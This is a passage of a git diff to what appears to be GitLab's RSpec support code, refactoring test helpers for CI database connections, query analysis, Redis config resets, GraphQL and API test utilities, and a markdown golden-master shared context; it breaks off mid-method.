-- "./spec/models/ci/pipeline_spec.rb"
- "./spec/models/ci/runner_spec.rb"
-- "./spec/models/ci/variable_spec.rb"
- "./spec/models/clusters/applications/runner_spec.rb"
-- "./spec/models/commit_status_spec.rb"
-- "./spec/models/concerns/batch_destroy_dependent_associations_spec.rb"
-- "./spec/models/concerns/bulk_insertable_associations_spec.rb"
-- "./spec/models/concerns/has_environment_scope_spec.rb"
-- "./spec/models/concerns/token_authenticatable_spec.rb"
- "./spec/models/design_management/version_spec.rb"
- "./spec/models/hooks/system_hook_spec.rb"
- "./spec/models/members/project_member_spec.rb"
-- "./spec/models/spam_log_spec.rb"
- "./spec/models/user_spec.rb"
- "./spec/models/user_status_spec.rb"
-- "./spec/requests/api/ci/pipeline_schedules_spec.rb"
-- "./spec/requests/api/ci/pipelines_spec.rb"
-- "./spec/requests/api/commit_statuses_spec.rb"
- "./spec/requests/api/commits_spec.rb"
-- "./spec/requests/api/graphql/mutations/ci/pipeline_destroy_spec.rb"
-- "./spec/requests/api/resource_access_tokens_spec.rb"
-- "./spec/requests/api/users_spec.rb"
-- "./spec/services/ci/create_pipeline_service/environment_spec.rb"
-- "./spec/services/ci/create_pipeline_service_spec.rb"
-- "./spec/services/ci/destroy_pipeline_service_spec.rb"
-- "./spec/services/ci/ensure_stage_service_spec.rb"
-- "./spec/services/ci/expire_pipeline_cache_service_spec.rb"
-- "./spec/services/ci/job_artifacts/destroy_all_expired_service_spec.rb"
-- "./spec/services/ci/job_artifacts/destroy_associations_service_spec.rb"
-- "./spec/services/ci/pipeline_bridge_status_service_spec.rb"
-- "./spec/services/ci/pipelines/add_job_service_spec.rb"
- "./spec/services/ci/retry_build_service_spec.rb"
-- "./spec/services/groups/transfer_service_spec.rb"
-- "./spec/services/projects/destroy_service_spec.rb"
- "./spec/services/projects/overwrite_project_service_spec.rb"
-- "./spec/services/projects/transfer_service_spec.rb"
-- "./spec/services/resource_access_tokens/revoke_service_spec.rb"
-- "./spec/services/users/destroy_service_spec.rb"
-- "./spec/services/users/reject_service_spec.rb"
- "./spec/workers/merge_requests/create_pipeline_worker_spec.rb"
-- "./spec/workers/remove_expired_members_worker_spec.rb"
- "./spec/workers/repository_cleanup_worker_spec.rb"
diff --git a/spec/support/database/multiple_databases.rb b/spec/support/database/multiple_databases.rb
index 9e72ea589e3..94857b47127 100644
--- a/spec/support/database/multiple_databases.rb
+++ b/spec/support/database/multiple_databases.rb
@@ -6,6 +6,10 @@ module Database
skip 'Skipping because multiple databases not set up' unless Gitlab::Database.has_config?(:ci)
end
+ def skip_if_multiple_databases_are_setup
+ skip 'Skipping because multiple databases are set up' if Gitlab::Database.has_config?(:ci)
+ end
+
def reconfigure_db_connection(name: nil, config_hash: {}, model: ActiveRecord::Base, config_model: nil)
db_config = (config_model || model).connection_db_config
@@ -46,6 +50,26 @@ module Database
new_handler&.clear_all_connections!
end
# rubocop:enable Database/MultipleDatabases
+
+ def with_added_ci_connection
+ if Gitlab::Database.has_config?(:ci)
+ # No need to add a ci: connection if we already have one
+ yield
+ else
+ with_reestablished_active_record_base(reconnect: true) do
+ reconfigure_db_connection(
+ name: :ci,
+ model: Ci::ApplicationRecord,
+ config_model: ActiveRecord::Base
+ )
+
+ yield
+
+ # Cleanup connection_specification_name for Ci::ApplicationRecord
+ Ci::ApplicationRecord.remove_connection
+ end
+ end
+ end
end
module ActiveRecordBaseEstablishConnection
@@ -69,18 +93,9 @@ RSpec.configure do |config|
end
end
- config.around(:each, :mocked_ci_connection) do |example|
- with_reestablished_active_record_base(reconnect: true) do
- reconfigure_db_connection(
- name: :ci,
- model: Ci::ApplicationRecord,
- config_model: ActiveRecord::Base
- )
-
+ config.around(:each, :add_ci_connection) do |example|
+ with_added_ci_connection do
example.run
-
- # Cleanup connection_specification_name for Ci::ApplicationRecord
- Ci::ApplicationRecord.remove_connection
end
end
end
diff --git a/spec/support/database/prevent_cross_joins.rb b/spec/support/database/prevent_cross_joins.rb
index e69374fbc70..42c69a26788 100644
--- a/spec/support/database/prevent_cross_joins.rb
+++ b/spec/support/database/prevent_cross_joins.rb
@@ -31,9 +31,13 @@ module Database
# See https://gitlab.com/gitlab-org/gitlab/-/issues/339396
return if sql.include?("DISABLE TRIGGER") || sql.include?("ENABLE TRIGGER")
- # PgQuery might fail in some cases due to limited nesting:
- # https://github.com/pganalyze/pg_query/issues/209
- tables = PgQuery.parse(sql).tables
+ tables = begin
+ PgQuery.parse(sql).tables
+ rescue PgQuery::ParseError
+ # PgQuery might fail in some cases due to limited nesting:
+ # https://github.com/pganalyze/pg_query/issues/209
+ return
+ end
schemas = ::Gitlab::Database::GitlabSchema.table_schemas(tables)
diff --git a/spec/support/database/query_analyzer.rb b/spec/support/database/query_analyzer.rb
index 85fa55f81ef..6d6627d54b9 100644
--- a/spec/support/database/query_analyzer.rb
+++ b/spec/support/database/query_analyzer.rb
@@ -4,11 +4,15 @@
# can be disabled selectively
RSpec.configure do |config|
- config.around do |example|
+ config.before do |example|
if example.metadata.fetch(:query_analyzers, true)
- ::Gitlab::Database::QueryAnalyzer.instance.within { example.run }
- else
- example.run
+ ::Gitlab::Database::QueryAnalyzer.instance.begin!
+ end
+ end
+
+ config.after do |example|
+ if example.metadata.fetch(:query_analyzers, true)
+ ::Gitlab::Database::QueryAnalyzer.instance.end!
end
end
end
diff --git a/spec/support/flaky_tests.rb b/spec/support/flaky_tests.rb
index 30a064d8705..0c211af695d 100644
--- a/spec/support/flaky_tests.rb
+++ b/spec/support/flaky_tests.rb
@@ -11,7 +11,7 @@ RSpec.configure do |config|
raise "$SUITE_FLAKY_RSPEC_REPORT_PATH is empty." if ENV['SUITE_FLAKY_RSPEC_REPORT_PATH'].to_s.empty?
raise "#{ENV['SUITE_FLAKY_RSPEC_REPORT_PATH']} doesn't exist" unless File.exist?(ENV['SUITE_FLAKY_RSPEC_REPORT_PATH'])
- RspecFlaky::Report.load(ENV['SUITE_FLAKY_RSPEC_REPORT_PATH']).map { |_, flaky_test_data| flaky_test_data["example_id"] }
+ RspecFlaky::Report.load(ENV['SUITE_FLAKY_RSPEC_REPORT_PATH']).map { |_, flaky_test_data| flaky_test_data.to_h[:example_id] }
rescue => e # rubocop:disable Style/RescueStandardError
puts e
[]
diff --git a/spec/support/frontend_fixtures.rb b/spec/support/frontend_fixtures.rb
new file mode 100644
index 00000000000..5587d9059dd
--- /dev/null
+++ b/spec/support/frontend_fixtures.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+return unless ENV['CI']
+return unless ENV['GENERATE_FRONTEND_FIXTURES_MAPPING'] == 'true'
+
+RSpec.configure do |config|
+ config.before(:suite) do
+ $fixtures_mapping = Hash.new { |h, k| h[k] = [] } # rubocop:disable Style/GlobalVars
+ end
+
+ config.after(:suite) do
+ next unless ENV['FRONTEND_FIXTURES_MAPPING_PATH']
+
+ File.write(ENV['FRONTEND_FIXTURES_MAPPING_PATH'], $fixtures_mapping.to_json) # rubocop:disable Style/GlobalVars
+ end
+end
diff --git a/spec/support/graphql/fake_query_type.rb b/spec/support/graphql/fake_query_type.rb
index ffd851a6e6a..18cf2cf3e82 100644
--- a/spec/support/graphql/fake_query_type.rb
+++ b/spec/support/graphql/fake_query_type.rb
@@ -1,15 +1,22 @@
# frozen_string_literal: true
+require 'graphql'
module Graphql
- class FakeQueryType < Types::BaseObject
+ class FakeQueryType < ::GraphQL::Schema::Object
graphql_name 'FakeQuery'
field :hello_world, String, null: true do
argument :message, String, required: false
end
+ field :breaking_field, String, null: true
+
def hello_world(message: "world")
"Hello #{message}!"
end
+
+ def breaking_field
+ raise "This field is supposed to break"
+ end
end
end
diff --git a/spec/support/graphql/field_inspection.rb b/spec/support/graphql/field_inspection.rb
index f39ba751141..e5fe37ec555 100644
--- a/spec/support/graphql/field_inspection.rb
+++ b/spec/support/graphql/field_inspection.rb
@@ -22,7 +22,7 @@ module Graphql
@type ||= begin
field_type = @field.type.respond_to?(:to_graphql) ? @field.type.to_graphql : @field.type
- # The type could be nested. For example `[GraphQL::STRING_TYPE]`:
+ # The type could be nested. For example `[GraphQL::Types::String]`:
# - List
# - String!
# - String
diff --git a/spec/support/helpers/api_helpers.rb b/spec/support/helpers/api_helpers.rb
index d3cc7367b6e..fd85071cca3 100644
--- a/spec/support/helpers/api_helpers.rb
+++ b/spec/support/helpers/api_helpers.rb
@@ -19,13 +19,15 @@ module ApiHelpers
# => "/api/v2/issues?foo=bar&private_token=..."
#
# Returns the relative path to the requested API resource
- def api(path, user = nil, version: API::API.version, personal_access_token: nil, oauth_access_token: nil)
+ def api(path, user = nil, version: API::API.version, personal_access_token: nil, oauth_access_token: nil, job_token: nil)
full_path = "/api/#{version}#{path}"
if oauth_access_token
query_string = "access_token=#{oauth_access_token.token}"
elsif personal_access_token
query_string = "private_token=#{personal_access_token.token}"
+ elsif job_token
+ query_string = "job_token=#{job_token}"
elsif user
personal_access_token = create(:personal_access_token, user: user)
query_string = "private_token=#{personal_access_token.token}"
diff --git a/spec/support/helpers/features/invite_members_modal_helper.rb b/spec/support/helpers/features/invite_members_modal_helper.rb
index 3502558b2c2..11040562b49 100644
--- a/spec/support/helpers/features/invite_members_modal_helper.rb
+++ b/spec/support/helpers/features/invite_members_modal_helper.rb
@@ -5,7 +5,7 @@ module Spec
module Helpers
module Features
module InviteMembersModalHelper
- def invite_member(name, role: 'Guest', expires_at: nil, area_of_focus: false)
+ def invite_member(name, role: 'Guest', expires_at: nil)
click_on 'Invite members'
page.within '[data-testid="invite-members-modal"]' do
@@ -14,7 +14,6 @@ module Spec
wait_for_requests
click_button name
choose_options(role, expires_at)
- choose_area_of_focus if area_of_focus
click_button 'Invite'
@@ -44,13 +43,6 @@ module Spec
fill_in 'YYYY-MM-DD', with: expires_at.strftime('%Y-%m-%d') if expires_at
end
-
- def choose_area_of_focus
- page.within '[data-testid="area-of-focus-checks"]' do
- check 'Contribute to the codebase'
- check 'Collaborate on open issues and merge requests'
- end
- end
end
end
end
diff --git a/spec/support/helpers/gitaly_setup.rb b/spec/support/helpers/gitaly_setup.rb
index 8a329c2f9dd..923051a2e04 100644
--- a/spec/support/helpers/gitaly_setup.rb
+++ b/spec/support/helpers/gitaly_setup.rb
@@ -18,8 +18,12 @@ module GitalySetup
Logger.new($stdout, level: level, formatter: ->(_, _, _, msg) { msg })
end
+ def expand_path(path)
+ File.expand_path(path, File.join(__dir__, '../../..'))
+ end
+
def tmp_tests_gitaly_dir
- File.expand_path('../../../tmp/tests/gitaly', __dir__)
+ expand_path('tmp/tests/gitaly')
end
def tmp_tests_gitaly_bin_dir
@@ -27,11 +31,11 @@ module GitalySetup
end
def tmp_tests_gitlab_shell_dir
- File.expand_path('../../../tmp/tests/gitlab-shell', __dir__)
+ expand_path('tmp/tests/gitlab-shell')
end
def rails_gitlab_shell_secret
- File.expand_path('../../../.gitlab_shell_secret', __dir__)
+ expand_path('.gitlab_shell_secret')
end
def gemfile
@@ -48,7 +52,7 @@ module GitalySetup
def env
{
- 'HOME' => File.expand_path('tmp/tests'),
+ 'HOME' => expand_path('tmp/tests'),
'GEM_PATH' => Gem.path.join(':'),
'BUNDLE_APP_CONFIG' => File.join(gemfile_dir, '.bundle'),
'BUNDLE_INSTALL_FLAGS' => nil,
@@ -67,7 +71,7 @@ module GitalySetup
system('bundle config set --local retry 3', chdir: gemfile_dir)
if ENV['CI']
- bundle_path = File.expand_path('../../../vendor/gitaly-ruby', __dir__)
+ bundle_path = expand_path('vendor/gitaly-ruby')
system('bundle', 'config', 'set', '--local', 'path', bundle_path, chdir: gemfile_dir)
end
end
@@ -154,7 +158,7 @@ module GitalySetup
LOGGER.debug "Checking gitaly-ruby bundle...\n"
out = ENV['CI'] ? $stdout : '/dev/null'
- abort 'bundle check failed' unless system(env, 'bundle', 'check', out: out, chdir: File.dirname(gemfile))
+ abort 'bundle check failed' unless system(env, 'bundle', 'check', out: out, chdir: gemfile_dir)
end
def read_socket_path(service)
diff --git a/spec/support/helpers/gpg_helpers.rb b/spec/support/helpers/gpg_helpers.rb
index 81e669aab57..7e78fd86de3 100644
--- a/spec/support/helpers/gpg_helpers.rb
+++ b/spec/support/helpers/gpg_helpers.rb
@@ -138,7 +138,7 @@ module GpgHelpers
end
def primary_keyid
- fingerprint[-16..-1]
+ fingerprint[-16..]
end
def fingerprint
@@ -281,7 +281,7 @@ module GpgHelpers
end
def primary_keyid2
- fingerprint2[-16..-1]
+ fingerprint2[-16..]
end
def fingerprint2
@@ -374,7 +374,7 @@ module GpgHelpers
end
def primary_keyid
- fingerprint[-16..-1]
+ fingerprint[-16..]
end
def fingerprint
@@ -776,7 +776,7 @@ module GpgHelpers
end
def primary_keyid
- fingerprint[-16..-1]
+ fingerprint[-16..]
end
def fingerprint
diff --git a/spec/support/helpers/graphql_helpers.rb b/spec/support/helpers/graphql_helpers.rb
index 1f0c9b658dc..8b7d1c753d5 100644
--- a/spec/support/helpers/graphql_helpers.rb
+++ b/spec/support/helpers/graphql_helpers.rb
@@ -515,8 +515,13 @@ module GraphqlHelpers
# Allows for array indexing, like this
# ['project', 'boards', 'edges', 0, 'node', 'lists']
keys.reduce(data) do |memo, key|
- if memo.is_a?(Array)
- key.is_a?(Integer) ? memo[key] : memo.flat_map { |e| Array.wrap(e[key]) }
+ if memo.is_a?(Array) && key.is_a?(Integer)
+ memo[key]
+ elsif memo.is_a?(Array)
+ memo.compact.flat_map do |e|
+ x = e[key]
+ x.nil? ? [x] : Array.wrap(x)
+ end
else
memo&.dig(key)
end
diff --git a/spec/support/helpers/javascript_fixtures_helpers.rb b/spec/support/helpers/javascript_fixtures_helpers.rb
index fb909008f12..84cd0181533 100644
--- a/spec/support/helpers/javascript_fixtures_helpers.rb
+++ b/spec/support/helpers/javascript_fixtures_helpers.rb
@@ -13,6 +13,12 @@ module JavaScriptFixturesHelpers
included do |base|
base.around do |example|
+ # Don't actually run the example when we're only interested in the `test file -> JSON frontend fixture` mapping
+ if ENV['GENERATE_FRONTEND_FIXTURES_MAPPING'] == 'true'
+ $fixtures_mapping[example.metadata[:file_path].delete_prefix('./')] << File.join(fixture_root_path, example.description) # rubocop:disable Style/GlobalVars
+ next
+ end
+
# pick an arbitrary date from the past, so tests are not time dependent
# Also see spec/frontend/__helpers__/fake_date/jest.js
Timecop.freeze(Time.utc(2015, 7, 3, 10)) { example.run }
diff --git a/spec/support/helpers/memory_usage_helper.rb b/spec/support/helpers/memory_usage_helper.rb
index aa7b3bae83a..02d1935921f 100644
--- a/spec/support/helpers/memory_usage_helper.rb
+++ b/spec/support/helpers/memory_usage_helper.rb
@@ -23,7 +23,7 @@ module MemoryUsageHelper
output, status = Gitlab::Popen.popen(%w(free -m))
abort "`free -m` return code is #{status}: #{output}" unless status == 0
- result = output.split("\n")[1].split(" ")[1..-1]
+ result = output.split("\n")[1].split(" ")[1..]
attrs = %i(m_total m_used m_free m_shared m_buffers_cache m_available).freeze
attrs.zip(result).to_h
diff --git a/spec/support/helpers/migrations_helpers/work_item_types_helper.rb b/spec/support/helpers/migrations_helpers/work_item_types_helper.rb
new file mode 100644
index 00000000000..59b1f1b1305
--- /dev/null
+++ b/spec/support/helpers/migrations_helpers/work_item_types_helper.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module MigrationHelpers
+ module WorkItemTypesHelper
+ DEFAULT_WORK_ITEM_TYPES = {
+ issue: { name: 'Issue', icon_name: 'issue-type-issue', enum_value: 0 },
+ incident: { name: 'Incident', icon_name: 'issue-type-incident', enum_value: 1 },
+ test_case: { name: 'Test Case', icon_name: 'issue-type-test-case', enum_value: 2 },
+ requirement: { name: 'Requirement', icon_name: 'issue-type-requirements', enum_value: 3 },
+ task: { name: 'Task', icon_name: 'issue-type-task', enum_value: 4 }
+ }.freeze
+
+ def reset_work_item_types
+ work_item_types_table.delete_all
+
+ DEFAULT_WORK_ITEM_TYPES.each do |type, attributes|
+ work_item_types_table.create!(base_type: attributes[:enum_value], **attributes.slice(:name, :icon_name))
+ end
+ end
+
+ private
+
+ def work_item_types_table
+ table(:work_item_types)
+ end
+ end
+end
diff --git a/spec/support/helpers/modal_helpers.rb b/spec/support/helpers/modal_helpers.rb
new file mode 100644
index 00000000000..a1f03cc0da5
--- /dev/null
+++ b/spec/support/helpers/modal_helpers.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module Spec
+ module Support
+ module Helpers
+ module ModalHelpers
+ def within_modal
+ page.within('[role="dialog"]') do
+ yield
+ end
+ end
+
+ def accept_gl_confirm(text = nil, button_text: 'OK')
+ yield if block_given?
+
+ within_modal do
+ unless text.nil?
+ expect(page).to have_content(text)
+ end
+
+ click_button button_text
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/support/helpers/navbar_structure_helper.rb b/spec/support/helpers/navbar_structure_helper.rb
index c2ec82155cd..6fa69cbd6ad 100644
--- a/spec/support/helpers/navbar_structure_helper.rb
+++ b/spec/support/helpers/navbar_structure_helper.rb
@@ -19,6 +19,17 @@ module NavbarStructureHelper
hash[:nav_sub_items].insert(index + 1, new_sub_nav_item_name)
end
+ def insert_before_sub_nav_item(after_sub_nav_item_name, within:, new_sub_nav_item_name:)
+ expect(structure).to include(a_hash_including(nav_item: within))
+ hash = structure.find { |h| h[:nav_item] == within if h }
+
+ expect(hash).to have_key(:nav_sub_items)
+ expect(hash[:nav_sub_items]).to include(after_sub_nav_item_name)
+
+ index = hash[:nav_sub_items].find_index(after_sub_nav_item_name)
+ hash[:nav_sub_items].insert(index, new_sub_nav_item_name)
+ end
+
def insert_package_nav(within)
insert_after_nav_item(
within,
diff --git a/spec/support/helpers/session_helpers.rb b/spec/support/helpers/session_helpers.rb
index 4ef099a393e..236585296e5 100644
--- a/spec/support/helpers/session_helpers.rb
+++ b/spec/support/helpers/session_helpers.rb
@@ -17,10 +17,10 @@ module SessionHelpers
end
def get_session_keys
- Gitlab::Redis::SharedState.with { |redis| redis.scan_each(match: 'session:gitlab:*').to_a }
+ Gitlab::Redis::Sessions.with { |redis| redis.scan_each(match: 'session:gitlab:*').to_a }
end
def get_ttl(key)
- Gitlab::Redis::SharedState.with { |redis| redis.ttl(key) }
+ Gitlab::Redis::Sessions.with { |redis| redis.ttl(key) }
end
end
diff --git a/spec/support/helpers/snowplow_helpers.rb b/spec/support/helpers/snowplow_helpers.rb
index 553739b5d30..c8b194919ed 100644
--- a/spec/support/helpers/snowplow_helpers.rb
+++ b/spec/support/helpers/snowplow_helpers.rb
@@ -48,11 +48,15 @@ module SnowplowHelpers
# )
def expect_snowplow_event(category:, action:, context: nil, **kwargs)
if context
- kwargs[:context] = []
- context.each do |c|
- expect(SnowplowTracker::SelfDescribingJson).to have_received(:new)
- .with(c[:schema], c[:data]).at_least(:once)
- kwargs[:context] << an_instance_of(SnowplowTracker::SelfDescribingJson)
+ if context.is_a?(Array)
+ kwargs[:context] = []
+ context.each do |c|
+ expect(SnowplowTracker::SelfDescribingJson).to have_received(:new)
+ .with(c[:schema], c[:data]).at_least(:once)
+ kwargs[:context] << an_instance_of(SnowplowTracker::SelfDescribingJson)
+ end
+ else
+ kwargs[:context] = context
end
end
diff --git a/spec/support/helpers/stub_gitlab_calls.rb b/spec/support/helpers/stub_gitlab_calls.rb
index ef3c39c83c2..ae031f58bd4 100644
--- a/spec/support/helpers/stub_gitlab_calls.rb
+++ b/spec/support/helpers/stub_gitlab_calls.rb
@@ -93,7 +93,7 @@ module StubGitlabCalls
def stub_commonmark_sourcepos_disabled
render_options =
- if Feature.enabled?(:use_cmark_renderer)
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
Banzai::Filter::MarkdownEngines::CommonMark::RENDER_OPTIONS_C
else
Banzai::Filter::MarkdownEngines::CommonMark::RENDER_OPTIONS_RUBY
diff --git a/spec/support/helpers/test_env.rb b/spec/support/helpers/test_env.rb
index acbc15f7b62..d36bc4e3cb4 100644
--- a/spec/support/helpers/test_env.rb
+++ b/spec/support/helpers/test_env.rb
@@ -53,7 +53,7 @@ module TestEnv
'wip' => 'b9238ee',
'csv' => '3dd0896',
'v1.1.0' => 'b83d6e3',
- 'add-ipython-files' => '2b5ef814',
+ 'add-ipython-files' => '532c837',
'add-pdf-file' => 'e774ebd',
'squash-large-files' => '54cec52',
'add-pdf-text-binary' => '79faa7b',
@@ -594,6 +594,8 @@ module TestEnv
# Not a git SHA, so return early
return false unless expected_version =~ ::Gitlab::Git::COMMIT_ID
+ return false unless Dir.exist?(component_folder)
+
sha, exit_status = Gitlab::Popen.popen(%W(#{Gitlab.config.git.bin_path} rev-parse HEAD), component_folder)
return false if exit_status != 0
diff --git a/spec/support/matchers/background_migrations_matchers.rb b/spec/support/matchers/background_migrations_matchers.rb
index d3833a1e8e8..1057639beec 100644
--- a/spec/support/matchers/background_migrations_matchers.rb
+++ b/spec/support/matchers/background_migrations_matchers.rb
@@ -9,7 +9,7 @@ RSpec::Matchers.define :be_background_migration_with_arguments do |arguments|
end
RSpec::Matchers.define :be_scheduled_delayed_migration do |delay, *expected|
- define_method :matches? do |migration|
+ match(notify_expectation_failures: true) do |migration|
expect(migration).to be_background_migration_with_arguments(expected)
BackgroundMigrationWorker.jobs.any? do |job|
@@ -26,7 +26,7 @@ RSpec::Matchers.define :be_scheduled_delayed_migration do |delay, *expected|
end
RSpec::Matchers.define :be_scheduled_migration do |*expected|
- define_method :matches? do |migration|
+ match(notify_expectation_failures: true) do |migration|
expect(migration).to be_background_migration_with_arguments(expected)
BackgroundMigrationWorker.jobs.any? do |job|
@@ -41,7 +41,7 @@ RSpec::Matchers.define :be_scheduled_migration do |*expected|
end
RSpec::Matchers.define :be_scheduled_migration_with_multiple_args do |*expected|
- define_method :matches? do |migration|
+ match(notify_expectation_failures: true) do |migration|
expect(migration).to be_background_migration_with_arguments(expected)
BackgroundMigrationWorker.jobs.any? do |job|
diff --git a/spec/support/redis/redis_helpers.rb b/spec/support/redis/redis_helpers.rb
index f27d873eb31..90c15dea1f8 100644
--- a/spec/support/redis/redis_helpers.rb
+++ b/spec/support/redis/redis_helpers.rb
@@ -32,4 +32,11 @@ module RedisHelpers
def redis_sessions_cleanup!
Gitlab::Redis::Sessions.with(&:flushdb)
end
+
+ # Usage: reset cached instance config
+ def redis_clear_raw_config!(instance_class)
+ instance_class.remove_instance_variable(:@_raw_config)
+ rescue NameError
+ # raised if @_raw_config was not set; ignore
+ end
end
diff --git a/spec/support/redis/redis_new_instance_shared_examples.rb b/spec/support/redis/redis_new_instance_shared_examples.rb
index e9b1e3e4da1..943fe0f11ba 100644
--- a/spec/support/redis/redis_new_instance_shared_examples.rb
+++ b/spec/support/redis/redis_new_instance_shared_examples.rb
@@ -8,10 +8,16 @@ RSpec.shared_examples "redis_new_instance_shared_examples" do |name, fallback_cl
let(:fallback_config_file) { nil }
before do
+ redis_clear_raw_config!(fallback_class)
+
allow(fallback_class).to receive(:config_file_name).and_return(fallback_config_file)
end
- include_examples "redis_shared_examples"
+ after do
+ redis_clear_raw_config!(fallback_class)
+ end
+
+ it_behaves_like "redis_shared_examples"
describe '.config_file_name' do
subject { described_class.config_file_name }
diff --git a/spec/support/redis/redis_shared_examples.rb b/spec/support/redis/redis_shared_examples.rb
index 72b3a72f9d4..d4c8682ec71 100644
--- a/spec/support/redis/redis_shared_examples.rb
+++ b/spec/support/redis/redis_shared_examples.rb
@@ -20,11 +20,11 @@ RSpec.shared_examples "redis_shared_examples" do
before do
allow(described_class).to receive(:config_file_name).and_return(Rails.root.join(config_file_name).to_s)
- clear_raw_config
+ redis_clear_raw_config!(described_class)
end
after do
- clear_raw_config
+ redis_clear_raw_config!(described_class)
end
describe '.config_file_name' do
@@ -93,18 +93,23 @@ RSpec.shared_examples "redis_shared_examples" do
subject { described_class.new(rails_env).store }
shared_examples 'redis store' do
+ let(:redis_store) { ::Redis::Store }
+ let(:redis_store_to_s) { "Redis Client connected to #{host} against DB #{redis_database}" }
+
it 'instantiates Redis::Store' do
- is_expected.to be_a(::Redis::Store)
- expect(subject.to_s).to eq("Redis Client connected to #{host} against DB #{redis_database}")
+ is_expected.to be_a(redis_store)
+
+ expect(subject.to_s).to eq(redis_store_to_s)
end
context 'with the namespace' do
let(:namespace) { 'namespace_name' }
+ let(:redis_store_to_s) { "Redis Client connected to #{host} against DB #{redis_database} with namespace #{namespace}" }
subject { described_class.new(rails_env).store(namespace: namespace) }
it "uses specified namespace" do
- expect(subject.to_s).to eq("Redis Client connected to #{host} against DB #{redis_database} with namespace #{namespace}")
+ expect(subject.to_s).to eq(redis_store_to_s)
end
end
end
@@ -394,12 +399,6 @@ RSpec.shared_examples "redis_shared_examples" do
end
end
- def clear_raw_config
- described_class.remove_instance_variable(:@_raw_config)
- rescue NameError
- # raised if @_raw_config was not set; ignore
- end
-
def clear_pool
described_class.remove_instance_variable(:@pool)
rescue NameError
diff --git a/spec/support/rspec.rb b/spec/support/rspec.rb
index 00b9aac7bf4..b4a25fd121d 100644
--- a/spec/support/rspec.rb
+++ b/spec/support/rspec.rb
@@ -15,7 +15,10 @@ require 'rubocop'
require 'rubocop/rspec/support'
RSpec.configure do |config|
- config.mock_with :rspec
+ config.mock_with :rspec do |mocks|
+ mocks.verify_doubled_constant_names = true
+ end
+
config.raise_errors_for_deprecations!
config.include StubConfiguration
diff --git a/spec/support/shared_contexts/features/integrations/project_integrations_shared_context.rb b/spec/support/shared_contexts/features/integrations/project_integrations_shared_context.rb
index 07012914a4d..6414a4d1eb3 100644
--- a/spec/support/shared_contexts/features/integrations/project_integrations_shared_context.rb
+++ b/spec/support/shared_contexts/features/integrations/project_integrations_shared_context.rb
@@ -28,7 +28,7 @@ RSpec.shared_context 'project service activation' do
end
def click_test_integration
- click_link('Test settings')
+ click_button('Test settings')
end
def click_test_then_save_integration(expect_test_to_fail: true)
diff --git a/spec/support/shared_contexts/markdown_golden_master_shared_examples.rb b/spec/support/shared_contexts/markdown_golden_master_shared_examples.rb
new file mode 100644
index 00000000000..d0915bbf158
--- /dev/null
+++ b/spec/support/shared_contexts/markdown_golden_master_shared_examples.rb
@@ -0,0 +1,127 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+# See spec/fixtures/markdown/markdown_golden_master_examples.yml for documentation on how this spec works.
+RSpec.shared_context 'API::Markdown Golden Master shared context' do |markdown_yml_file_path|
+ include ApiHelpers
+ include WikiHelpers
+
+ let_it_be(:user) { create(:user, username: 'gfm_user') }
+
+ let_it_be(:group) { create(:group, :public) }
+ let_it_be(:project) { create(:project, :public, :repository, group: group) }
+
+ let_it_be(:label) { create(:label, project: project, title: 'bug') }
+ let_it_be(:milestone) { create(:milestone, project: project, title: '1.1') }
+ let_it_be(:issue) { create(:issue, project: project) }
+ let_it_be(:merge_request) { create(:merge_request, source_project: project) }
+
+ let_it_be(:project_wiki) { create(:project_wiki, project: project, user: user) }
+
+ let_it_be(:project_wiki_page) { create(:wiki_page, wiki: project_wiki) }
+
+ before(:all) do
+ group.add_owner(user)
+ project.add_maintainer(user)
+ end
+
+ before do
+ sign_in(user)
+ end
+
+ markdown_examples = begin
+ yaml = File.read(markdown_yml_file_path)
+ YAML.safe_load(yaml, symbolize_names: true, aliases: true)
+ end
+
+ it "examples must be unique and alphabetized by name", :unlimited_max_formatted_output_length do
+ names = markdown_examples.map { |example| example[:name] }
+ expect(names).to eq(names.sort.uniq)
+ end
+
+ if focused_markdown_examples_string = ENV['FOCUSED_MARKDOWN_EXAMPLES']
+ focused_markdown_examples = focused_markdown_examples_string.split(',').map(&:strip) || []
+ markdown_examples.reject! {|markdown_example| !focused_markdown_examples.include?(markdown_example.fetch(:name)) }
+ end
+
+ markdown_examples.each do |markdown_example|
+ name = markdown_example.fetch(:name)
+ api_context = markdown_example[:api_context]
+
+ if api_context && !name.end_with?("_for_#{api_context}")
+ raise "Name must have suffix of '_for_#{api_context}' to the api_context"
+ end
+
+ context "for #{name}#{api_context ? " (api_context: #{api_context})" : ''}" do
+ let(:pending_reason) do
+ pending_value = markdown_example.fetch(:pending, nil)
+ get_pending_reason(pending_value)
+ end
+
+ let(:example_markdown) { markdown_example.fetch(:markdown) }
+ let(:example_html) { markdown_example.fetch(:html) }
+ let(:substitutions) { markdown_example.fetch(:substitutions, {}) }
+
+ it "verifies conversion of GFM to HTML", :unlimited_max_formatted_output_length do
+ pending pending_reason if pending_reason
+
+ normalized_example_html = normalize_html(example_html, substitutions)
+
+ api_url = get_url_for_api_context(api_context)
+
+ post api_url, params: { text: example_markdown, gfm: true }
+ expect(response).to be_successful
+ response_body = Gitlab::Json.parse(response.body)
+ # Some requests have the HTML in the `html` key, others in the `body` key.
+ response_html = response_body['body'] ? response_body.fetch('body') : response_body.fetch('html')
+ normalized_response_html = normalize_html(response_html, substitutions)
+
+ expect(normalized_response_html).to eq(normalized_example_html)
+ end
+
+ def get_pending_reason(pending_value)
+ return false unless pending_value
+
+ return pending_value if pending_value.is_a?(String)
+
+ pending_value[:backend] || false
+ end
+
+ def normalize_html(html, substitutions)
+ normalized_html = html.dup
+ # Note: having the top level `substitutions` data structure be a hash of arrays
+ # allows us to compose multiple substitutions via YAML anchors (YAML anchors
+ # pointing to arrays can't be combined)
+ substitutions.each_value do |substitution_entry|
+ substitution_entry.each do |substitution|
+ regex = substitution.fetch(:regex)
+ replacement = substitution.fetch(:replacement)
+ normalized_html.gsub!(%r{#{regex}}, replacement)
+ end
+ end
+
+ normalized_html
+ end
+ end
+ end
+
+ def supported_api_contexts
+ %w(project group project_wiki)
+ end
+
+ def get_url_for_api_context(api_context)
+ case api_context
+ when 'project'
+ "/#{project.full_path}/preview_markdown"
+ when 'group'
+ "/groups/#{group.full_path}/preview_markdown"
+ when 'project_wiki'
